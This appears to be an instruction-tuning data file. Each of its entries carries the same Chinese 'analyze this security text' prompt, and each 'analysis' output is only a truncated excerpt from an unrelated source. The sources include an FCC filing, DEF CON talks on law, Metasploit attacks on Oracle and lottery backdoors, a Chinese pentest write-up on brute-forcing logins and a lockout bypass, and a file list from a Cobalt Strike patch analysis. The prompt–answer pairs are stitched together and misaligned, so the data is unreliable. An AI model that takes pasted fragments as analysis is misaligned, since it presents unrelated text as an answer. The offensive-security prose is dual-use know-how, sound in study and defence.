list and update the specified security group
AWS WAF Automation
https://aws.amazon.com/answers/
security/aws-waf-security-automat
ions/
Parse application logs and trigger
WAF rules
Honeyp...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1200 EIGHTEENTH STREET, NW
WASHINGTON, DC  20036
TEL 202.730.1300   FAX 202.730.1301
WWW.HARRISWILTSHIRE.COM
ATTORNEYS AT LAW
March 14, 2007
Via Electronic Filing
Ms. Marlene H. Dortch, Secretary
Federal Communications Commission
445 12th Street, SW
Washington, DC 20554
Re:
Notice of Ex Parte Communication, ET Docket Nos. 04-186, 02-380
Dear Ms. Dortch:
On March 13, 2007, on behalf of a coalition that includes Dell, Inc., Google, Inc., the Hewlett-
Packard Co., Intel Corp., Microsoft Corp., and Philips Electronics North America Corp., Srihari
Narlanka of Microsoft; William Brown and John Clark, outside consultants to Microsoft; and
Edmond Thomas and S. Roberts Carter of Harris, Wiltshire & Grannis LLP submitted a
prototype TV band device to the FCC Laboratory for testing.  The above-named individuals also
met with Rashmi Doshi, Steven Jones, and Steven Martin of the Office of Engineering and
Technology to provide instruction on the operation of the device.
On March 14, 2007, Messrs. Thomas, Narlanka, Brown, and Clark met with Messrs. Doshi and
Jones as well as Thomas Phillips of the OET staff to discuss further the operation of the device.
In addition, the Coalition provided OET staff with a copy of the device manual, attached hereto.
Pursuant to the Commission’s rules, a copy of this notice is being filed electronically in the
above-referenced dockets.  If you require any additional information please contact the
undersigned at (202) 730-1305.
Sincerely yours,
/s/ Edmond J. Thomas
Edmond J. Thomas
Senior Policy Advisor
HARRIS, WILTSHIRE & GRANNIS LLP
Marlene H. Dortch
March 14, 2007
Page 2
cc:
Julius Knapp
Rashmi Doshi
Steven Jones
Steven Martin
Thomas Phillips
Microsoft TV White Spaces Development Platform Version 1
Microsoft®    Microsoft TV White Spaces Development Platform
Microsoft®
Microsoft TV White Spaces Development Platform
Microsoft Corporation
Srihari Narlanka
One Microsoft Way
Redmond, WA  98052 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEFCON 17
July 31, 2009
R.W. Clark
 United States v. Prochner, 417 F.3d 54 (D. Mass.
July 22, 2005)
 Definition of Special Skills
 Special skill - a skill not possessed by members of the
general public and usually requiring substantial
education, training or licensing.
 Examples - pilots, lawyers, doctors, accountants,
chemists, and demolition experts
 Not necessarily have formal education or training
 Acquired through experience or self-tutelage
 Critical question is - whether the skill set elevates to a
level of knowledge and proficiency that eclipses that
possessed by the general public.
Court Recognizes Your
Special Skills
 Feds won't deem proxies 'sophisticated'
 US government has dropped --for now--a plan to classify the use of
"proxy“ servers as evidence of sophistication in committing a crime.
 US Sentencing Commission was considering a change to federal
sentencing guidelines that would have increased sentences by about 25
percent for people convicted of crimes in which proxies are used to
hide the perpetrators' tracks.
 Digital-rights advocates complained language too broad
 Commission struck the controversial language from the amendments
 Justice Department supported the proposed amendment as a way to
hand down stiffer sentences for people who set up elaborate proxy
networks--sometimes in multiple countries --to commit crimes and
hide their identities.
 Digital-rights advocates said the amendment would have sent a
chilling message about using a common technology that is often
encouraged as a safer way of using the Internet.
Fortunately US Sentencing Commission will
not recognizes your special skills
Agenda
 Encrypted Hard Drive
 Scope of Consent & Investigation
 Untimely Search after Seizure
 Consent/Destruction of Evidence/Revoke consent to
search computer
 Border Search of PC Away from Border
 FTC and Cyberspy Software
 Installing viruses and key stroke logger
 Responsible Disclosure
 Cyberwarfare and Defi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

一次诡异的弱口令
0x01 背景
某次客户授权渗透碰到的问题，比较有趣，分享一下。
项目开始没多久，一起的小姐妹说存在弱口令admin/admin，让我试试。然而在我尝试登录的时候，返
回消息为“密码错误，失败次数为1”。这没法登录，密码不对阿，还有账号锁定机制。
继续测试，发现登录页面验证码在使用后未作失效处理，正常操作，爆破一下。
burp的结果显示四五个账号存在弱口令，手动验证下，只有两个账号使用密码正常登录了，其他账号都
返回密码错误的消息。
弱口令登录不能复现，非常诡异，讲给客户估计会被客户加开发一起喷死，于是我就请教了一下我大
哥。
大哥如此清新脱俗的解释，一直喊666的我，灵魂在吹牛逼的过程中莫然得到了一丝的愉悦。然而作为
打工人，想了想午饭的馒头还没有着落，只能埋头继续肝！
0x01 剥茧抽丝
shell手法，平平无奇，标准操作过了下WAF的内容检测，此处不做赘述，直奔登录模块拿到对应class文
件。
class文件导入jd-gui，好了，可以下打死开发了。
bingo，破案！
浏览器启动，admin账户到位，输入若干次口令直到账号锁定，等待一段时间，待锁定时间过后输入
admin、任意密码成功登陆了系统。
0x02 修复方式
显然，开发小哥写的代码太绕了，把自己绕进去了。
针对上述的写法，在state为2后，锁定一段时间。再次登录账户解锁之后，还需要再校验密码，而不是
直接返回true。
0x03 总结
账户锁定的情况也可以多试几次，既然是账号锁定功能，时间也应该是测试参数。正如老话说，时间是
最好的解药。


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Backdooring the Lottery
and
Other Security Tales
from Gaming
July 30, 2017
Gus Fritschie and Evan Teitelman
Presentation Overview
1. Introductions
2. What has happened since 2011
3. Historical overview of security incidents in gaming
4. Eddie Tipton and the lottery
5. Russian slot attacks
6. Conclusion
© SeNet International Corp. 2017
3
July 2017
SeNet
Who We Are – SeNet International
© SeNet International Corp. 2017
4
July 2017
SeNet
Who We Are – Gus Fritschie
Gus Fritschie has been involved in
information security since 2000.
About 5 years ago (after his
previous DEF CON presentation on
iGaming security) he transitioned a
significant portion of his practice
into the gaming sector. Since then
he has established himself and
SeNet as the IT security leader in
gaming. He has supported a
number of clients across the
gaming spectrum from iGaming
operators, land-based casinos,
gaming manufacturer, lotteries,
tribal gaming, and daily fantasy
sports.
@gfritschie
© SeNet International Corp. 2017
5
July 2017
SeNet
Who We Are – Evan Teitelman
Evan works and lives in the
Washington DC area.  He is the
founder of BlackArch Linux and
specializes in reverse engineering and
secure application development.
In his free time he enjoys hiking,
climbing, and working on his van.
© SeNet International Corp. 2017
6
July 2017
SeNet
Evan’s Van
© SeNet International Corp. 2017
7
July 2017
SeNet
What this talk is and is not
© SeNet International Corp. 2017
8
July 2017
SeNet
What has happened since 2011
© SeNet International Corp. 2017
9
July 2017
SeNet
iGaming Legislation
© SeNet International Corp. 2017
10
July 2017
SeNet
Highlighted Security Incidents in
Gaming Since 2011
None of these will be discussed in detail but are listed to illustrate that this
sector is not immune to these threats.  Only a small sampling.
•
Las Vegas Sands hack
•
NJ iGaming DDOS attacks
•
Affinity Gaming breach
•
Hard Rock Hotel & Casino data breach
•
Casino Rama Resort in Ontario
•
Peppermi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attacking Oracle
with the
Metasploit Framework
defcon 17
Who Are We?
Chris Gates
<cg [@] metasploit.com>
What pays the bills
Pentester for
Security Blogger
http://carnal0wnage.attackresearch.com
Security Twit
Carnal0wnage
Want more?
Chris Gates + carnal0wnage + maltego 
Who Are We?
Mario Ceballos
<mc [@] metasploit.com>
• What do I do?
Vulnerability Research/Exploit Development.
Metasploit Framework Developer.
Focus is on auxiliary and exploit modules.
Pentesting for some company.
Why Oracle?
Why the focus on Oracle?
Been on lots of pentests & seen lots of potential
targets.
The Oracle business model allows for free
downloads of products, but you pay for updates. The
result is tons of potential shells.
Privilege Escalation and data theft is pretty easy, but
shells are always better.
Why Oracle?
Why the focus on Oracle?
Some support is provided by the commercial attack
frameworks, but really don’t have much coverage for
non-memory corruption vulns.
Other tools that target Oracle.
Inguma
Orasploit (not public)
Pangolin (if you want to give your hard earned shell back to
.cn)
A  few free commercial products focused on vulnerability
assessment rather than exploitation.
Current Metasploit Support
Some support for Oracle is already provided.
Exploit modules.
Handful of memory corruption modules that target earlier
versions of Oracle and some of if its other applications.
Auxiliary modules.
Handful of modules that assist in discovering the SID,
Identifying the version, sql injection, post exploitation, and
a ntlm stealer.
New Metasploit Support
Introduction of a TNS Mixin.
Handles a basic TNS packet structure.
"(CONNECT_DATA=(COMMAND=#{command}))”
Used for some of our auxiliary modules.
Used for our TNS exploits.
Introduction of a ORACLE Mixin.
Handles our direct database access.
Dependencies:
Oracle Instant Client.
ruby-dbi.
ruby-oci8.
New Metasploit Support (cont.)
Introduction of a ORACLE Mixin.
Exposes a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
dogcs 4.4 patch补丁分析
声明
加⼊我们的社区
前⾔
⽂件对⽐
JAVA端
aggressor/Aggressor.class
aggressor/AggressorClient.class
aggressor/browsers/Connect.class
aggressor/browsers/Sessions.class
aggressor/dialogs/AboutDialog.class
aggressor/dialogs/ConnectDialog.class
aggressor/headless/Start.class
aggressor/MultiFrame.class
aggressor/TabManager.class
aggressor/windows/BeaconConsole.class
aggressor/windows/CredentialManager.class
aggressor/windows/DownloadBrowser.class
aggressor/windows/FileBrowser.class
aggressor/windows/Files.class
aggressor/windows/KeystrokeBrowser.class
aggressor/windows/ScreenshotBrowser.class
aggressor/windows/SecureShellConsole.class
beacon/BeaconC2.class
beacon/BeaconData.class
beacon/BeaconHTTP.class
beacon/BeaconPayload.class
beacon/BeaconSetup.class
beacon/CommandBuilder.class
2
beacon/jobs/DesktopJob.class
beacon/TaskBeacon.class
beacon/TaskBeaconCallback.class
beacon/Tasks.class
c2proﬁle/MalleableHook.class
c2proﬁle/MalleableStager.class
cloudstrike/NanoHTTPD.class
cloudstrike/WebServer.class
common/AssertUtils.class
common/AuthCrypto.class
common/Authorization.class
common/BeaconEntry.class
common/CommonUtils.class
common/Download.class
common/Helper.class
common/License.class
common/ListenerConﬁg.class
common/LoggedEvent.class
common/MudgeSanity.class
common/Requirements.class
common/Starter.class
common/Starter2.class
common/TeamSocket.class
dns/AsymmetricCrypto.class
dns/BaseSecurity.class
server/Beacons.class
server/Listeners.class
server/ManageUser.class
server/Resources.class
server/ServerUtils.class
server/TeamServer.class
ssl/SecureServerSocket.class
3
ssl/SecureSocket.class
stagers/BeaconBindStagerX64.class
stagers/BeaconBindStagerX86.class
stagers/BeaconDNSStagerX86.class
stagers/BeaconHTTPSStagerX64.class
stagers/BeaconHTTPSStagerX86.class
stagers/BeaconHTTPStagerX64.class
stagers/BeaconHTTPStagerX86.class
stagers/BeaconPipeStagerX86.class
stagers/ForeignHTTPSStagerX86.class
stagers/ForeignHTTPStagerX86.class
stagers/ForeignReverseStagerX64.class
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Persona Not
Validated -
1362589322691
Digitally signed by Persona Not Validated -
1362589322691
DN: cn=Persona Not Validated - 1362589322691,
email=jdenaro@cipherlawgroup.com, ou=S/
MIME, ou=Persona Not Validated, ou=Symantec
Trust Network, o=Symantec Corporation
Date: 2013.08.08 21:25:51 -04'00'
This presentation is not legal advice
about your specific situation.
This presentation does not create an
attorney-client relationship.
While these approaches are designed to
reduce risk, they cannot eliminate it.
DEF CON 21
2
Overview
•Types of Risks to Researchers
•Risk Mitigation Strategies
•Disclosure Options
•Risk Mitigation for Selling Exploits
Your Goal: Be a Harder Target
3
DEF CON 21
Risks in Disclosing or Selling
Research Examples:
You found out how to see other people’s
utility bills by changing the http query string
You discovered your neighbor’s WiFi is
using the default password
You broke the crypto protecting media
You wrote a better RAT
Many of the same risks apply
4
DEF CON 21
What are we talking about?
“Techniques”
Information relating to both exploits and vulnerabilities that enable another
party to obtain unauthorized access to a computer, deny access by others to a
computer, or cause permanent or temporary damage to a computer or a
network
DEF CON 21
5
When is There Risk?
•Threats of with legal action before
conference or disclosure
 Chris Paget (IOActive) (Black Hat) - 2007
 Princeton Prof. Felten (USENIX) - 2001
•Injunction barring disclosure before
conference or disclosure
 Megamos (USENIX) - 2013
 MIT - Massachusetts Bay Transportation Authority (DEFCON) -
2008
6
DEF CON 21
When is There Risk?
•Legal actions initiated after
conference or disclosure
 Cisco - Michael Lynn (ISS) (Black Hat) 2005
 Civil lawsuit filed after talk
 Dmitry Sklyarov (DEFCON)
 Taken into custody in Las Vegas after DEFON
presentation
7
DEF CON 21
Computer Fraud
and Abuse Act
accesses “without authorization”
“exceeds authorized access”
by deployme...